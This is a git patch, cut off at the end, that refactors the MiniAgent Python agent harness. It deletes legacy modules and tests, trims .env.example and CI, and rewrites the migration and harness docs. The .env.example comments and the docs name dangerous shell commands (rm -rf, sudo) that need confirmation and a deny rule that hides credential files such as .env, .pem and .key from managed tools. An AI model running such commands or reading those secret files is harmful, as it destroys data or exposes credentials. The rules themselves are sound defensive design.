From ed00f34a6c3625b229c17851000ec989aa5e26f4 Mon Sep 17 00:00:00 2001 From: ZhuLinsen Date: Sun, 18 Oct 2026 20:09:48 +0800 Subject: [PATCH 1/3] refactor!: decouple native API cleanup from reactive plugins --- .env.example | 73 +-- .github/workflows/ci.yml | 16 +- .github/workflows/regression.yml | 2 +- AGENTS.md | 4 +- README.md | 8 +- README_EN.md | 8 +- docs/CHANGELOG.md | 4 + docs/lean-harness.md | 334 +++++------ docs/legacy-migration.md | 107 ++-- docs/model-connections.md | 2 +- examples/code_tools_example.py | 38 -- examples/config_example.json | 23 +- examples/custom_tools_example.py | 163 +----- examples/lean_harness.py | 34 +- examples/minimal_example.py | 30 - examples/orchestrator_example.py | 44 -- examples/simple_example.py | 97 ---- examples/skill_example.py | 86 +-- examples/tools_test.py | 118 ---- miniagent/__init__.py | 39 +- miniagent/agent.py | 9 +- miniagent/cli.py | 8 +- miniagent/config.py | 75 +-- miniagent/extensions/__init__.py | 8 +- miniagent/extensions/mcp_client.py | 12 - miniagent/extensions/orchestrator.py | 194 ------- miniagent/legacy.py | 798 --------------------------- miniagent/legacy_cli.py | 371 ------------- miniagent/mcp_client.py | 4 - miniagent/memory.py | 98 ---- miniagent/orchestrator.py | 4 - miniagent/plugins.py | 41 +- miniagent/skills.py | 31 +- miniagent/tools/__init__.py | 226 +------- miniagent/tools/basic_tools.py | 682 ----------------------- miniagent/tools/code_tools.py | 53 +- miniagent/tools/registry.py | 2 +- miniagent/utils/__init__.py | 15 +- miniagent/utils/json_utils.py | 304 ---------- miniagent/utils/reflector.py | 197 ------- pyproject.toml | 12 +- scripts/minimal_install_smoke.py | 5 +- tests/test_agent_core.py | 141 ----- tests/test_agent_parsing.py | 76 --- tests/test_basic_tools.py | 228 -------- tests/test_cli_baseline.py | 22 - tests/test_cli_runtime.py | 17 - tests/test_code_tools.py | 41 +- tests/test_config.py | 53 +- tests/test_enhancements.py | 338 ------------ tests/test_examples.py | 16 + tests/test_json_utils.py | 144 ----- tests/test_memory.py | 87 --- tests/test_model_selection.py | 15 +- tests/test_runtime_recovery.py | 28 +- tests/test_skills.py | 57 +- tests/test_tool_registry.py | 104 ++-- tests/test_type_annotations.py | 35 +- uv.lock | 148 +---- 59 files changed, 582 insertions(+), 5347 deletions(-) delete mode 100644 examples/code_tools_example.py delete mode 100644 examples/minimal_example.py delete mode 100644 examples/orchestrator_example.py delete mode 100644 examples/simple_example.py delete mode 100644 examples/tools_test.py delete mode 100644 miniagent/extensions/mcp_client.py delete mode 100644 miniagent/extensions/orchestrator.py delete mode 100644 miniagent/legacy.py delete mode 100644 miniagent/legacy_cli.py delete mode 100644 miniagent/mcp_client.py delete mode 100644 miniagent/memory.py delete mode 100644 miniagent/orchestrator.py delete mode 100644 miniagent/tools/basic_tools.py delete mode 100644 miniagent/utils/json_utils.py delete mode 100644 miniagent/utils/reflector.py delete mode 100644 tests/test_agent_core.py delete mode 100644 tests/test_agent_parsing.py delete mode 100644 tests/test_basic_tools.py delete mode 100644 tests/test_cli_baseline.py delete mode 100644 tests/test_enhancements.py create mode 100644 tests/test_examples.py delete mode 100644 tests/test_json_utils.py delete mode 100644 tests/test_memory.py diff --git a/.env.example b/.env.example index bfdd159..28fc6ed 100644 --- a/.env.example +++ b/.env.example @@ -1,51 +1,30 @@ -# ===== Required ===== -LLM_API_KEY=your_api_key_here -LLM_MODEL=deepseek: -LLM_API_BASE=https://api.deepseek.com/v1 +# Interactive setup: miniagent --connect (optional OS vault: miniagent[credentials]). +# Otherwise select a real model explicitly; a key alone never selects one. +LLM_MODEL= +# LLM_MODEL=provider:model-id +# Set the selected provider's credential, e.g. DEEPSEEK_API_KEY or OPENAI_API_KEY. +# ANTHROPIC_API_KEY, DASHSCOPE_API_KEY, GEMINI_API_KEY / GOOGLE_API_KEY are supported. +# LLM_API_KEY and LLM_API_BASE are explicit OpenAI-compatible gateway overrides. +# LLM_API_KEY=your-provider-key +# LLM_API_BASE=https://your-gateway.example/v1 -# ===== Alternative models (uncomment one) ===== -# LLM_MODEL=qwen-plus -# LLM_API_BASE=https://dashscope.aliyuncs.com/compatible-mode/v1 - -# LLM_MODEL=gpt-4o -# LLM_API_BASE=https://api.openai.com/v1 - -# LLM_MODEL=gemini-2.5-flash -# LLM_API_BASE=https://generativelanguage.googleapis.com/v1beta/openai/ -# Optional: set GEMINI_API_KEY instead of LLM_API_KEY - -# ===== Optional: Agent behavior ===== +# Existing configuration (JSON can override temperature / context_budget). # LLM_TEMPERATURE=0.7 -# LLM_ORGANIZATION= # OpenAI organization ID -# BASH_TIMEOUT=120 # bash tool timeout in seconds -# BASH_MAX_OUTPUT=50000 # max bash output chars -# TOOL_RESULT_LIMIT=16000 # max tool result chars fed to LLM -# MAX_CONTEXT_MESSAGES=20 # auto-compress after this many messages -# MINIAGENT_CONTEXT_BUDGET=32768 # new runtime: conservative budget including tool schemas -# Sensitive files: managed tools hide .env*, .git and private-key files by default. -# Explicit opt-in is --allow-sensitive-files; Shell/MCP remain trusted software. -# CONFIRM_DANGEROUS=true # confirm rm -rf, sudo, etc. -# MINIAGENT_STREAM=1 # 1=streaming on, 0=off -# MINIAGENT_HOME=~/.miniagent # Harness sessions/ and legacy memory storage -# MINIAGENT_HOME also stores connections.json (model IDs/URLs/environment names only). -# Interactive setup: miniagent --connect; OS vault support: pip install 'miniagent[credentials]'. -# Without an OS vault, entered keys stay only in the current process; export provider keys for automation. -# LOG_LEVEL=INFO # logging level (DEBUG/INFO/WARNING/ERROR) - -# ===== Optional: Reflection ===== -# ENABLE_REFLECTION=true -# REFLECTION_MAX_ITERATIONS=3 +# MINIAGENT_CONTEXT_BUDGET=32768 +# MINIAGENT_HOME=~/.miniagent +# MINIAGENT_STREAM=1 +# LOG_LEVEL=WARNING -# ===== Optional: Web search ===== -# SERPAPI_KEY=your_serpapi_key_here +# Tool execution limits are environment settings, not JSON agent options. +# BASH_TIMEOUT=120 +# BASH_MAX_OUTPUT=50000 +# TOOL_RESULT_LIMIT=16000 +# Managed tools hide .env*, .git and private-key files by default. +# --allow-sensitive-files explicitly opens managed access; Shell/MCP remain trusted. -# ===== Provider isolation ===== -# Prefer LLM_MODEL=provider:model-id with that provider's own credential. -# Model selection: CLI --model > JSON llm.model > LLM_MODEL > saved connection default. -# A key or base URL alone never selects a default model. Replace . -# OPENAI_API_KEY, DEEPSEEK_API_KEY, ANTHROPIC_API_KEY, DASHSCOPE_API_KEY, etc. -# LLM_API_KEY and LLM_API_BASE are explicit compatibility endpoint overrides. -# Keys from unrelated providers are never searched as a fallback chain. -# MINIAGENT_TEST_MODEL=provider:model-id # opt-in live smoke test only -# Custom endpoints are configured in JSON: providers. with -# type=openai-compatible, base_url, api_key_env; then LLM_MODEL=:. +# Retired: MAX_CONTEXT_MESSAGES, CONFIRM_DANGEROUS, ENABLE_REFLECTION, +# REFLECTION_MAX_ITERATIONS, LLM_ORGANIZATION and built-in SERPAPI_KEY search. +# Use --policy readonly|confirm|trusted, context_budget and explicit plugins instead. +# Old teaching APIs are available on codex/legacy-pre-harness; see docs/legacy-migration.md. +# Custom endpoint JSON: providers. {type, base_url, api_key_env}. +# Opt-in live tests: MINIAGENT_TEST_MODEL=provider:model-id. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index a633aa9..e367646 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,18 +18,18 @@ jobs: with: python-version: ${{ matrix.python }} - run: python -m pip install --upgrade pip uv==0.13.0 - - run: uv sync --locked --extra mcp --extra legacy --extra credentials --python ${{ matrix.python }} + - run: uv sync --locked --extra mcp --extra credentials --python ${{ matrix.python }} - name: Project principles and instruction assets run: python scripts/check_ai_assets.py - - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra legacy --extra credentials python -m pytest tests -q -m "not live" - - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra legacy --extra credentials python -m compileall -q miniagent + - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra credentials python -m pytest tests -q -m "not live" + - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra credentials python -m compileall -q miniagent - name: Native runtime static checks - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra legacy --extra credentials ruff check --select F miniagent/agent.py miniagent/harness.py miniagent/llm.py miniagent/policy.py miniagent/plugins.py miniagent/cli.py miniagent/cli_runtime.py miniagent/config.py miniagent/connections.py miniagent/logger.py miniagent/tools/registry.py miniagent/extensions/mcp_plugin.py tests/test_runtime_recovery.py tests/test_provider_protocols.py tests/test_cli_runtime.py tests/test_model_selection.py tests/test_connections.py tests/conftest.py scripts/source_stats.py scripts/minimal_install_smoke.py + run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra credentials ruff check --select F miniagent tests/test_runtime_recovery.py tests/test_provider_protocols.py tests/test_cli_runtime.py tests/test_model_selection.py tests/test_connections.py tests/conftest.py scripts/source_stats.py scripts/minimal_install_smoke.py - name: Export locked production dependencies - run: uv export --locked --no-dev --extra mcp --extra legacy --extra credentials --no-emit-project --output-file audit-requirements.txt + run: uv export --locked --no-dev --extra mcp --extra credentials --no-emit-project --output-file audit-requirements.txt - name: Audit production dependencies - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra legacy --extra credentials pip-audit --disable-pip --no-deps -r audit-requirements.txt - - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra legacy --extra credentials python scripts/source_stats.py + run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra credentials pip-audit --disable-pip --no-deps -r audit-requirements.txt + - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra credentials python scripts/source_stats.py - run: uv build - name: Minimal installed wheel without optional extras - run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra legacy --extra credentials python scripts/minimal_install_smoke.py + run: uv run --locked --python ${{ matrix.python }} --extra mcp --extra credentials python scripts/minimal_install_smoke.py diff --git a/.github/workflows/regression.yml b/.github/workflows/regression.yml index 7e4d9c3..6cf8fa2 100644 --- a/.github/workflows/regression.yml +++ b/.github/workflows/regression.yml @@ -18,7 +18,7 @@ jobs: with: python-version: ${{ matrix.python }} - name: Install this stage and available extras - run: python -m pip install -e ".[mcp,legacy]" "pytest>=9.0.3,<10" + run: python -m pip install -e ".[mcp,credentials,dev]" "pytest>=9.0.3,<10" - run: python -m pytest tests -q -m "not live" - run: python -m compileall -q miniagent - run: python scripts/source_stats.py diff --git a/AGENTS.md b/AGENTS.md index 2b2c60c..45874ee 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -25,7 +25,7 @@ MiniAgent 是以插件为核心的轻量 Python Agent Harness。目标是用容 ### DSH 常用能力 -- 用 Context/Service、依赖声明、插件清理、可替换 Loop 等解决实际 Agent 任务;新增生命周期行为必须说明等待、激活、失活、恢复和异常回滚。 +- 用 Context/Service、依赖声明和插件清理解决实际 Agent 任务;响应式依赖与可替换 Loop 按独立需求评估,不作为原生 API 精简的前置条件。新增生命周期行为必须说明等待、激活、失活、恢复和异常回滚。 - 默认优先稳定和显式语义;兼容性变化要说明迁移路径。运行中的任务禁止生命周期变更。 - 工具仍经 Schema、Policy 和 Skill 检查;会话保留原记录,不重放未知副作用。新能力不得破坏这些守卫。 - 自定义插件/Loop 的责任和可信边界必须写清楚,不把 Mock 或菜单选项当作真实远端兼容验收。 @@ -48,7 +48,7 @@ MiniAgent 是以插件为核心的轻量 Python Agent Harness。目标是用容 - miniagent/agent.py、harness.py、llm.py、tools/registry.py:四文件核心;以统计脚本清单为准。 - policy.py、plugins.py、session.py:外围运行机制;连接配置在 connections.py,CLI 在 cli.py / cli_runtime.py。 -- extensions/:可选集成;legacy.py / legacy_cli.py 及旧工具是兼容路径,删除需独立迁移评审。 +- extensions/:可选集成;旧文本 API、系统工具与编排器保存在 codex/legacy-pre-harness 历史分支,原生版不重新引入,迁移见 docs/legacy-migration.md。 - tests/:确定性回归与显式 opt-in live 测试;scripts/:验证与构建;docs/:专题说明;.claude/reviews/:本地审查产物。 - 以可执行代码、脚本和工作流为准,发现相关文档漂移要顺手修正。AGENTS.md 不复制完整架构或过期实现。 diff --git a/README.md b/README.md index b1801df..e4f1ed1 100644 --- a/README.md +++ b/README.md @@ -13,13 +13,13 @@

English · 核心特性 · 快速开始 · Python API · 演示 · 项目结构

-MiniAgent 是一个**超轻量、常用功能齐备的 Python Agent / Harness**,核心仅 **531 行代码**。支持工具调用、会话记忆、上下文管理与插件扩展等主流 Agent 常用能力,**可以直接使用,也适合快速入门学习、定制修改和二次开发。** +MiniAgent 是一个**超轻量、常用功能齐备的 Python Agent / Harness**,核心仅 **524 行代码**。支持工具调用、会话记忆、上下文管理与插件扩展等主流 Agent 常用能力,**可以直接使用,也适合快速入门学习、定制修改和二次开发。** ## 核心特性 - 🧠 **功能齐备**:原生工具调用、流式输出、会话记忆、上下文压缩、Skills、MCP、插件管理与权限控制,组成可运行的 Agent / Harness。 - 🚀 **直接使用**:连接模型后即可通过 CLI 执行编程与自动化任务,也能通过 Python API 嵌入现有项目。 -- 📖 **快速入门**:核心仅 **531 行、4 个文件**,从模型调用、工具执行到插件管理,适合通过阅读和运行源码理解 Agent / Harness 的工作原理。 +- 📖 **快速入门**:核心仅 **524 行、4 个文件**,从模型调用、工具执行到插件管理,适合通过阅读和运行源码理解 Agent / Harness 的工作原理。 - 🧩 **定制开发**:修改提示词与 Skills,通过 Plugin 接入自己的工具和服务;复用已有的会话与权限机制,开发自己的 Agent。 ## 快速开始 @@ -88,7 +88,7 @@ Harness 负责模型与工具之间的循环、插件启动和清理,以及会 ```text miniagent/ -├── agent.py # Agent 循环 · 72 行 +├── agent.py # Agent 循环 · 65 行 ├── harness.py # 插件、服务与生命周期 · 256 行 ├── llm.py # 模型调用与流式输出 · 149 行 ├── tools/ @@ -102,7 +102,7 @@ miniagent/ └── cli.py # 命令行入口 ``` -四文件核心 **531 行**;全部官方包 Python **5,056 行**(含旧版兼容代码)。行数包含注释和空行,不含第三方依赖。运行 `python scripts/source_stats.py` 可复核。[统计脚本](scripts/source_stats.py) +四文件核心 **524 行**;全部官方包 Python **2,031 行**。行数包含注释和空行,不含第三方依赖。运行 `python scripts/source_stats.py` 可复核。[统计脚本](scripts/source_stats.py) ## 文档与贡献 diff --git a/README_EN.md b/README_EN.md index 4f8901d..c1adb56 100644 --- a/README_EN.md +++ b/README_EN.md @@ -13,13 +13,13 @@

中文 · Key features · Quick start · Python API · Demos · Project structure

-MiniAgent is an **ultra-lightweight Python Agent / Harness with the essentials built in**, centered on just **531 lines of core code**. It supports common agent capabilities such as tool calling, session memory, context management and plugin extensions. **Use it directly, learn how agents work, or customize it to build your own.** +MiniAgent is an **ultra-lightweight Python Agent / Harness with the essentials built in**, centered on just **524 lines of core code**. It supports common agent capabilities such as tool calling, session memory, context management and plugin extensions. **Use it directly, learn how agents work, or customize it to build your own.** ## Key features - 🧠 **Essential capabilities**: native tool calling, streaming, session memory, context compaction, Skills, MCP, plugin management and permission controls form a working Agent / Harness. - 🚀 **Ready to use**: connect a model and run coding and automation tasks through the CLI, or embed the runtime in an existing project through the Python API. -- 📖 **Learn by exploring**: the core is just **531 lines across 4 files**, covering model calls, tool execution and plugin management. Read and run the code to understand how an Agent / Harness works. +- 📖 **Learn by exploring**: the core is just **524 lines across 4 files**, covering model calls, tool execution and plugin management. Read and run the code to understand how an Agent / Harness works. - 🧩 **Build your own**: customize prompts and Skills, add tools and services through Plugin. Reuse the existing session and permission mechanisms as you develop your own agent. ## Quick start @@ -88,7 +88,7 @@ The core lives in [agent.py](miniagent/agent.py), [harness.py](miniagent/harness ```text miniagent/ -├── agent.py # Agent loop · 72 lines +├── agent.py # Agent loop · 65 lines ├── harness.py # Plugins, services and lifecycle · 256 lines ├── llm.py # Model calls and streaming · 149 lines ├── tools/ @@ -102,7 +102,7 @@ miniagent/ └── cli.py # CLI entry point ``` -The core totals **531 lines**; all first-party package Python totals **5,056 lines**, including legacy compatibility code. Counts include comments and blank lines and exclude third-party dependencies. Run `python scripts/source_stats.py` to verify. [Counting script](scripts/source_stats.py) +The core totals **524 lines**; all first-party package Python totals **2,031 lines**. Counts include comments and blank lines and exclude third-party dependencies. Run `python scripts/source_stats.py` to verify. [Counting script](scripts/source_stats.py) ## Docs and contributing diff --git a/docs/CHANGELOG.md b/docs/CHANGELOG.md index 4ff24b0..07d4ed8 100644 --- a/docs/CHANGELOG.md +++ b/docs/CHANGELOG.md @@ -2,6 +2,10 @@ ## [Unreleased] +- [改进] 0.3.0a1 候选集中原生 Harness / Session / Plugin / MCP,退役旧文本 Agent、系统工具、Memory 和 Orchestrator;旧实现保留在 codex/legacy-pre-harness,迁移说明列出不兼容入口。 +- [改进] 文件工具元数据不再注册到全局目录,Shell 复用单一异步实现;移除旧版运行依赖和无效配置字段,未知 JSON 设置明确报错。 +- [文档] 原生精简直接基于 main,保留静态 Harness,不依赖响应式插件或可替换 Loop;同步双语源码统计、原生示例和迁移指南。 +- [测试] 保留主线原生协议、权限、会话与 MCP 回归,补充退役入口、工具隔离、配置和示例检查;构建与独立安装验证原生包不再包含旧实现。 - [文档] 重写中英文 README,突出小核心、常用能力及使用/学习/定制三种用途;恢复 Windows 案例,加入已有终端回放与来源说明,按主线校正源码行数和公开能力,不改变运行时。 - [修复] Gemini 凭据别名统一解析并以规范账户保存,兼容读取旧复合账户;/models 与 /connect 共用密钥误填保护;显式 MINIAGENT_HOME 不再提前解析系统用户目录。 diff --git a/docs/lean-harness.md b/docs/lean-harness.md index e91aa30..6f15f52 100644 --- a/docs/lean-harness.md +++ b/docs/lean-harness.md @@ -1,57 +1,62 @@ -# Lean Harness implementation - -Six stacked PRs: baseline and targeted fixes; async runtime and policy; -any-llm; durable sessions; Skills and official MCP; CLI and release checks. -Each PR targets its predecessor. Merge in order; revert in reverse order. - -## Contracts - -The runtime is async; use `await app.arun()` in an existing event loop. -`app.run()` is a script convenience. One task per Harness/Session at a time. -Plugins change only while idle. Startup dependency sorting, rollback and -reverse cleanup are supported; automatic dependency recovery is deferred. -Tools pass through one validation/authorization entry point. - -Python plugins and MCP servers are trusted software. Workspace checks cover -managed file tools, not arbitrary shell execution. Shell/MCP require explicit -authorization; this is not a sandbox. Noninteractive approval defaults to deny. -Provider keys are isolated. Tool arguments and key prefixes must not be logged. - -Sessions preserve original events and do not replay uncertain side effects. -Compaction changes only the model view. Dynamic plugins, Subagent and long-term -Memory are deferred. Source line counts are observations, not release gates. - -## Validation - -Run `python -m pytest tests -q` and `python scripts/source_stats.py`. -Real-provider smoke tests are opt-in and must report provider/model/SDK version; -mock tests do not establish live compatibility. No provider credential is -required for deterministic regression tests. - -Windows baseline: 189 passed, 2 failures caused by Unix-only `sleep` in timeout -tests. Those tests now invoke the running Python interpreter on every platform. -Original commit `4d61483d039e802f6d34fb6b42d6e2a99b1b6a1c`: 20 files, -4,009 physical lines, 3,288 nonempty lines. - -## Models - -Model selection is explicit: CLI `--model` > JSON `llm.model` > `LLM_MODEL` > -saved connection default. [Interactive connection setup](model-connections.md) -is available through `--connect`, `/connect` and `/models`. -There is no implicit model default. A provider key or API base alone cannot -select a model; noninteractive calls fail before client creation when it is missing. -The native CLI offers first-run guidance in a TTY; the legacy CLI keeps explicit setup. -Credentials are resolved after the final model, including JSON and CLI overrides. -Unprefixed IDs use OpenAI unless an explicit legacy compatibility endpoint is set; -prefer `provider:model-id`. `LLM_API_KEY`/`LLM_API_BASE` are intentional gateway -overrides. Provider-specific keys are never borrowed for an unrelated model. - -Python >=3.11; validated SDK: any-llm-sdk 1.33.0. SDK HTTP normalization and -stream assembly are tested without a remote service. Real DeepSeek/Qwen/Claude -native calls remain unvalidated; two models have live Anspire gateway evidence -in [the acceptance report](acceptance-2026-10-11.md). -Use `Harness(model="provider:model-id")` with the provider's environment key. -Custom JSON configuration: +# Native Harness guide — 0.3.0a1 candidate + +MiniAgent is a Python-native mini harness + coding agent. The native runtime, +CLI, plugins, Skills, MCP and Session are the supported API. The original +teaching version lives on [codex/legacy-pre-harness](https://github.com/ZhuLinsen/MiniAgent/tree/codex/legacy-pre-harness). +See [breaking changes and migration](legacy-migration.md). + +## Run and compose + +```python +from miniagent import Harness, Policy, Session +from miniagent.plugins import coding_tools + +app = Harness(model="provider:model-id", policy=Policy(mode="readonly"), + session=Session("task.jsonl")) +app.use(coding_tools()) +print(app.run("Inspect the project and explain its entry points")) +``` + +Choose a real model and configure its provider credential. In an existing event +loop use `await app.arun(...)` and `async with app`. `run()` is a script convenience +that closes plugin resources on return. One task per Harness/Session at a time; +plugin and Skill changes are allowed only while idle. + +## Plugins, services and cleanup + +```python +from miniagent import Plugin, Tool + +def arithmetic(ctx): + ctx.tool(Tool("add_one", "Add one", {"type": "object", + "properties": {"n": {"type": "integer"}}, "required": ["n"]}, + lambda n: n + 1, access="read")) + ctx.cleanup(lambda: print("arithmetic closed")) + +app.use(Plugin("arithmetic", arithmetic)) +``` + +`ctx.service(name, value)`, `ctx.get(name)`, `ctx.on(event, callback)` and +`ctx.cleanup(callback)` share the plugin's Scope. Registrations unwind on unload; +partial startup rolls back. Tools belong to the instance Registry, not an import +side effect or global decorator catalog. + +Dependencies are static: `requires` names plugins, missing or cyclic dependencies +fail at startup, and an active dependency cannot be unloaded before its consumers. +Harness calls the native agent loop directly. Reactive dependencies and a public +replaceable Loop interface are separate proposals, not requirements of this version. + +## Models and configuration + +Model precedence: CLI `--model` > JSON `llm.model` > `LLM_MODEL` > saved default. +A key or endpoint alone never chooses a model. Unprefixed IDs use OpenAI; +use `provider:model-id` to select another adapter. Credentials resolve after the +final model; unrelated providers' keys are never borrowed. `LLM_API_KEY` and +`LLM_API_BASE` remain explicit gateway overrides. + +First-run TTY guidance and `/connect`, `/models` reuse the same SDK client factory. +Native provider optional SDKs may require their any-llm extra. Discovery is not +evidence of model/tool compatibility. See [connections and vault behavior](model-connections.md). ```json {"llm": {"model": "gateway:model-id"}, "providers": {"gateway": { @@ -60,148 +65,83 @@ Custom JSON configuration: }}} ``` -Pass `providers=cfg.providers` to Harness. Empty key configuration is supported -only for explicitly configured keyless custom endpoints. Base URL overrides -use compatibility mode. Native provider clients retain SDK retry behavior; -custom endpoints disable retries. The loop never retries tools or interrupted -streams. `temperature=None` leaves provider defaults unchanged. -Run live tests with `MINIAGENT_TEST_MODEL` and `python -m pytest -m live -v`. - -## Sessions - -Pass `Session(path)` to Harness. JSONL events have version/sequence fields; -unsupported versions and corrupt complete lines fail explicitly. An incomplete -last line is discarded under an OS writer lock. Original messages and effects -remain on disk; protect Session files as sensitive user data. - -Interrupted started tools are uncertain: inspect their actual effects, then use -`session.open(); session.resolve(call_id, verified_result); session.close()`. -The runtime refuses new turns until uncertainty is resolved, and never replays -tools during restore. Calls not yet started get an interrupted result. -Exceptions after a non-read tool starts (including Shell/MCP timeouts) stop the -batch and immediately persist an uncertain result. Remaining calls get paired -unstarted results. The same guard applies without a persistent Session: -`app.uncertain` reports pending IDs; `app.resolve(id, verified_result)` clears a -result only after inspection. Cancellation also repairs the full tool batch. -Authorization/schema failures before execution are known failures; nonzero -Shell exit codes are known failed outcomes rather than interrupted results. - -`MINIAGENT_CONTEXT_BUDGET` includes schemas and output reserve. UTF-8 bytes are -used as a conservative token estimate, not an exact provider tokenizer. -Compaction retains whole recent turns, summarizes old data with no tools, and -falls back to an explicit omission notice. An oversized current turn errors -instead of splitting a tool group. Long-term Memory remains legacy-only. - -## Skills and MCP migration - -`app.apply_skill(get_skill("reviewer"))` limits schema visibility AND execution. -Switching skills or `app.apply_skill()` restores the tool catalog. -`read_skill(path)` supports scalar name/description and allowed-tools -(space-separated names or a JSON list) plus Markdown body. This is a limited -frontmatter format, not full YAML or automatic discovery. -Scalar `temperature` and positive `max-iterations` are supported. The Skill's -iteration limit is the default `arun` budget; an explicit `max_steps` overrides it. - -Install `miniagent[mcp]` (validated MCP SDK 2.3.0), then: - -```python -from miniagent.extensions.mcp_plugin import mcp_plugin -app.use(mcp_plugin("local", command, args, cwd=workspace)) +Native JSON accepts llm, providers, mcp_servers, system_prompt and context_budget. +The llm section accepts model, api_key, api_base and temperature. Unsupported +settings fail with migration guidance. `LLM_TEMPERATURE` is supported; JSON can +override it. Shell/output limits stay environment settings in `.env.example`. + +Python >=3.11; any-llm-sdk 1.33.0. Native adapters retain SDK retry behavior; +custom compatible endpoints disable retries. Tools and interrupted streams are +never automatically replayed. Four provider protocol fixtures are local HTTP +tests; live Anspire records are reported separately in [the demo](demo.md) and +[historical acceptance](acceptance-2026-10-11.md). + +## Tools and authorization + +`coding_tools()` mounts read, write, edit, grep, glob and bash. Every execution +passes Skill checks, JSON Schema and Policy before the executor starts. Shell +uses one async implementation with timeout, cancellation and bounded output. +Direct trusted integrations can call `await miniagent.plugins.shell(cmd, cwd=...)`. + +`readonly` denies writes/Shell/MCP; `confirm` asks in a TTY and denies unattended +approval; `trusted` is for explicitly trusted automation. Managed file tools stay +inside the workspace and hide `.env*` (except `.env.example`), `.git`, `.pem`, +`.key`, `.p12` and `.pfx` paths unless `--allow-sensitive-files` is explicit. +Python plugins, Shell and MCP servers are trusted software outside these file +checks. Authorization is not a container sandbox. + +## Skills and MCP + +`app.apply_skill(get_skill("reviewer"))` filters both schemas and execution. +Switching Skill restores registered tools without replaying work. A Skill may +set temperature and a default max_iterations budget; explicit max_steps wins. +`read_skill(path)` reads trusted SKILL.md with scalar frontmatter and tool lists, +not arbitrary YAML. Long-term memory and subagents are deferred for this release. + +Install `.[mcp]` and mount `mcp_plugin(name, command, args, ...)` from +`miniagent.extensions.mcp_plugin`. Tools are named `server__tool`. The official +SDK stdio connection is owned by a dedicated task and cleaned up on unload. +CLI JSON can supply mcp_servers entries with command, args and optional env. +Streamable HTTP is not implemented. + +## Sessions and recovery + +Pass `Session(path)` or CLI `--session ` to resume JSONL. Without a CLI path, +a new session is created under MINIAGENT_HOME/sessions. Session versions and +sequence numbers are checked; an incomplete trailing line is discarded under +the OS single-writer lock. Other corruption fails visibly. + +Original events stay on disk. Context compaction preserves whole tool groups +and changes only the model view; UTF-8 bytes provide a conservative budget +estimate, not exact billing. Summary failure drops older complete turns safely. + +If a non-read tool has started and then raises or times out, its result is +uncertain. The loop stops and pairs remaining unstarted calls without running +them. Cancellation repairs the complete batch too. Inspect actual effects, then +use `app.resolve(id, verified_result)` or `/session resolve ID verified-result`. +Until resolved, further turns are rejected. These guards also apply in memory. +Schema/authorization rejection and completed nonzero Shell exits are known +failures. Never resolve a result merely to bypass inspection. + +## CLI and validation + +Run `miniagent --help`; inside the REPL use `/help`. `/plugins` lists active +plugins. `/skills [name|path|off]`, `/stream`, `/session [new]` and model commands +operate on the current runtime. Model switching resolves the new credential, +closes the old client and starts a fresh Session while preserving old files. +Non-TTY output stays literal and NO_COLOR is respected. + +```bash +python -m pip install -e ".[dev,mcp,credentials]" +python -m pytest tests -q -m "not live" +python scripts/source_stats.py +python scripts/check_ai_assets.py ``` -Use an explicit executable and argument list, not a shell command string. -Tools are namespaced as local__tool. All calls require policy approval even -if the server declares read-only annotations. The connection has a dedicated -owner task to close its context in the same task that entered it. -Discovery failure rolls back tools/services; unload closes the process. -Remote names are closure-bound: a payload field such as `_name` is forwarded as -data and cannot change the approved tool route or bypass the Skill whitelist. -Old MCPClient and load_mcp_tools APIs fail with an actionable migration message. -Streamable HTTP is deferred. - -## CLI and compatibility - -Source install: `python -m pip install -e ".[mcp]"` (Python >=3.11). -The native Harness is now the default CLI. Use provider:model-id and the selected -provider credential; config files accept llm, providers and mcp_servers. -An MCP entry has command (executable), args (list), and optional env (mapping). -CLI: --workspace, --policy readonly|confirm|trusted, --session , ---skill , --prompt, --no-stream. -Managed files exclude `.env*` except `.env.example`, `.git` and files ending in -`.pem`, `.key`, `.p12` or `.pfx`. Directory grep/glob also filter these paths. -Explicit `--allow-sensitive-files` or `Policy(allow_sensitive_files=True)` opts in. -This does not constrain explicitly trusted Shell/MCP/Python code or detect all -possible secrets; inspect results before sharing them with a remote model. -Existing Session files resume automatically. Without --session a new file is -created under MINIAGENT_HOME/sessions. Non-TTY uses plain literal text; NO_COLOR -is honored. /plugins lists active plugins; /skills changes the execution view; -/session shows uncertain calls; /session resolve ID verified-result resolves -one manually after inspection; /session new starts a fresh task history. -/model provider:model-id re-evaluates credentials and starts a new Session to -avoid replaying provider-specific reasoning metadata across models. - -`miniagent --legacy` retains the text teaching CLI. MiniAgent remains a -compatibility import; its native mode delegates to the same loop. Legacy APIs -retain their prior permission behavior and are not the new policy boundary. -Native iteration exhaustion now raises instead of returning a tool result as -an answer. Legacy Reflection and long-term Memory are not part of Harness. -No automated dependency recovery, Subagent or remote control plane is added. - -The release is 0.2.0a1, not a stable v0.3. Original optional tools and teaching -compatibility modules remain for migration, so the total-source budget is not -met. Core and total counts are reported separately by scripts/source_stats.py. -No line count claim is made for installed third-party dependencies. -CI covers Windows/Linux with Python 3.11/3.12 and the locked MCP extra. Merge -PRs 1 through 6 in order; revert in reverse order. No release tag is created. - -Optional basic/system tools now require `miniagent[legacy]` and explicit loading. -The default runtime does not import legacy parsers or Reflection. README changes -are synchronized in Chinese and English; detailed migration remains here. - -## Local acceptance evidence - -Windows / Python 3.12: 249 deterministic tests passed (3 live cases excluded). -Two selected models separately passed the three live cases via Anspire. -Real local MCP stdio subprocess discovery/call/cleanup passed. -New runtime lint (Ruff F checks), compileall, pip check, wheel and sdist build -passed. Locked dependencies were upgraded after an audit finding; a repeat -pip-audit reports no known vulnerabilities. CI adds Linux/Python 3.11 checks; -those results must be read from the PR, not inferred from local Windows tests. -New core: 521 physical lines; core plus Policy/tool plugin/Session: 823 lines. -All official package Python: 4,770 lines, including -legacy teaching, optional tools, Reflection and Orchestrator. The 